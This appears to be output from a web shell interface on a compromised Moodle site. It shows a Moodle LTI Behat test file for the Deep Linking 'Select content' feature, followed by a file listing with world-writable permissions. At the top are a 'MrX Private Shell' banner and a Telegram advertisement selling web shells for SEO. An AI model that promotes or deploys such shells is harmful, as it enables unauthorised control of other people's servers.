__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@mod @mod_lti
Feature: Content-Item support
In order to easily add activities and content in a course from an external tool
As a teacher
I need to utilise a tool that supports the Deep Linking (Content-Item Message) type
Background:
Given the following "users" exist:
| username | firstname | lastname | email |
| teacher1 | Terry1 | Teacher1 | teacher1@example.com |
And the following "courses" exist:
| fullname | shortname | category |
| Course 1 | C1 | 0 |
And the following "course enrolments" exist:
| user | course | role |
| teacher1 | C1 | editingteacher |
And the following "mod_lti > tool types" exist:
| name | description | baseurl | coursevisible | state | lti_contentitem |
| Teaching Tool 1 | Tool 1 description | /mod/lti/tests/fixtures/tool_provider.php | 2 | 1 | 1 |
@javascript
Scenario: Tool that supports Deep Linking should be able to configure a tool via the Select content button
Given I log in as "teacher1"
And I am on "Course 1" course homepage with editing mode on
When I add a "Teaching Tool 1" to section "1" using the activity chooser
Then "Select content" "button" should be visible
And the "Select content" "button" should be enabled
Scenario: Editing the settings for an instance of a tool configured with Deep Linking support
Given the following "mod_lti > tool instances" exist:
| name | tool | course |
| Test tool activity 1 | Teaching Tool 1 | C1 |
When I am on the "Test tool activity 1" "lti activity editing" page logged in as teacher1
Then I should see "Select content"
And the "Select content" "button" should be enabled
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| addtool.feature | File | 8.77 KB | 0777 |
|
| backup_restore.feature | File | 3.68 KB | 0777 |
|
| contentitem.feature | File | 1.78 KB | 0777 |
|
| contentitemregistration.feature | File | 1.61 KB | 0777 |
|
| lti_activity_completion.feature | File | 2.93 KB | 0777 |
|
| lti_completion_pass_grade.feature | File | 3.74 KB | 0777 |
|
| managecoursetools.feature | File | 17.52 KB | 0777 |
|
| renametool.feature | File | 905 B | 0777 |
|
| restricttocategory.feature | File | 5.62 KB | 0777 |
|
| siteadmin_managetool_breadcrumbs.feature | File | 2.58 KB | 0777 |
|
| toolconfigure.feature | File | 1.28 KB | 0777 |
|
| viewtools.feature | File | 1.08 KB | 0777 |
|